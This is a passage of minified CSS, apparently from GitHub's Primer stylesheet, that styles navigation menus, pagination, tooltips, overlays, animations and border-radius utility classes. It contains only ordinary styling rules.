16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 